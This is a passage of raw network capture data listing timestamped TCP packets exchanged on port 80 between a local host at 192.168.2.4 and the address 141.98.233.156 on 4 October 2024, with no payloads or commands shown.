Oct 4, 2024 09:52:35.683330059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683347940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683356047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683399916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683428049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683461905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683479071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683494091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683504105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683526993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683535099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683558941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683568001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683592081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683600903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683624983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683633089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683659077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683665991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683696032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683700085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683727980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683741093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683759928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683768988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683793068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683800936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683825016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683835030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683859110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683876038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683891058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683907032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683923960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683934927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683955908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683968067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683988094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683996916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684019089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684026957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684051991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684061050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684094906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684346914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684395075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684402943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684427977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684444904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684459925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684468985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684493065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684505939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684523106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684534073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684566975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684572935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684604883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684617996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684638023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684658051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684689045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684690952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684732914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684739113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684770107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684784889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684802055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684809923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684833050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684845924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684868097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684873104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684899092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684909105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684932947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.684941053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684976101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.684979916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685013056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685019970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685044050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685067892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685079098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685079098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685110092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685122013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685142994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685149908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685173988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685184002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685206890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685225010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685239077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685256958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685271025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685285091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685302973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685318947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685336113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685345888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685369015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685378075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685400963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685410023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685434103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685442924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685466051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685477018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685497046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.685508013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.685539961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686028004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686059952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686090946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686113119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686124086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686141014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686162949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686163902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686196089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686207056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686227083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686237097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686259985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686269999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686291933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686300993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686323881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686332941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686356068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686367035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686398983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.686403990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.686446905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770073891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770158052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770199060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770206928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770226002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770241022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770250082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770273924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770277977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770308018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770317078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770339966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770348072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770371914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770376921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770404100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.770414114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.770442963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771013975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771045923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771066904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771078110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771086931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771125078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771136999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771157980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771166086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771200895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771209955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771241903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771253109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771274090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771286964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771306992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771315098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771342039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771352053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771374941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771382093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771441936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771452904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771485090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771506071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771517038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771531105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771549940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771562099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771576881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771594048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771609068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771622896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771641016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771653891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771671057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771682024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771703959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771722078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771749020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771754980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771790028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771805048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771821022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771832943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771856070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771867990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771888018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771902084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771922112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771936893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771953106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.771964073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.771986008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772006035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772026062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772037029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772057056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772072077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772089958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772104025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772134066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772136927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772167921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772186041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772211075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772217035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772248983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772260904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772280931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772296906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772308111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772325993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772340059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772352934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772375107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772387028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772407055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772422075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772440910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772454023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772473097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772486925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772505045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772521019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772536039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772542000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772567034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772583008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772594929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772610903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772625923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772640944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772658110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772670031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772690058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772701979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772721052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772735119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772753000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772768974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772784948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772794962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772819996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772835970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772852898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772856951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772883892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772902966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772916079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772927999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772947073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772959948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.772978067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.772993088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773005962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773020983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773037910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773044109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773068905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773085117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773098946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773102999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773132086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773142099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773163080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773175001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773196936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773204088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773224115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773240089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773258924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773498058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773528099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773552895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773560047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773567915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773591042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773602009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773623943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773636103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773654938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773665905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773688078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773699045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773719072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773730040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773751974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773765087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773782015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773804903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773813009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773837090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773844004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773858070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773886919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773894072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773926020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773938894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773962021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.773971081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.773993015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774007082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774024963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774036884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774055004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774072886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774085999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774087906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774117947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774132967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774149895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774163008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774179935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774194956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774210930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774221897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774244070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774275064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774305105 CEST	80	49745	141.98.233.156	192.168.2.4
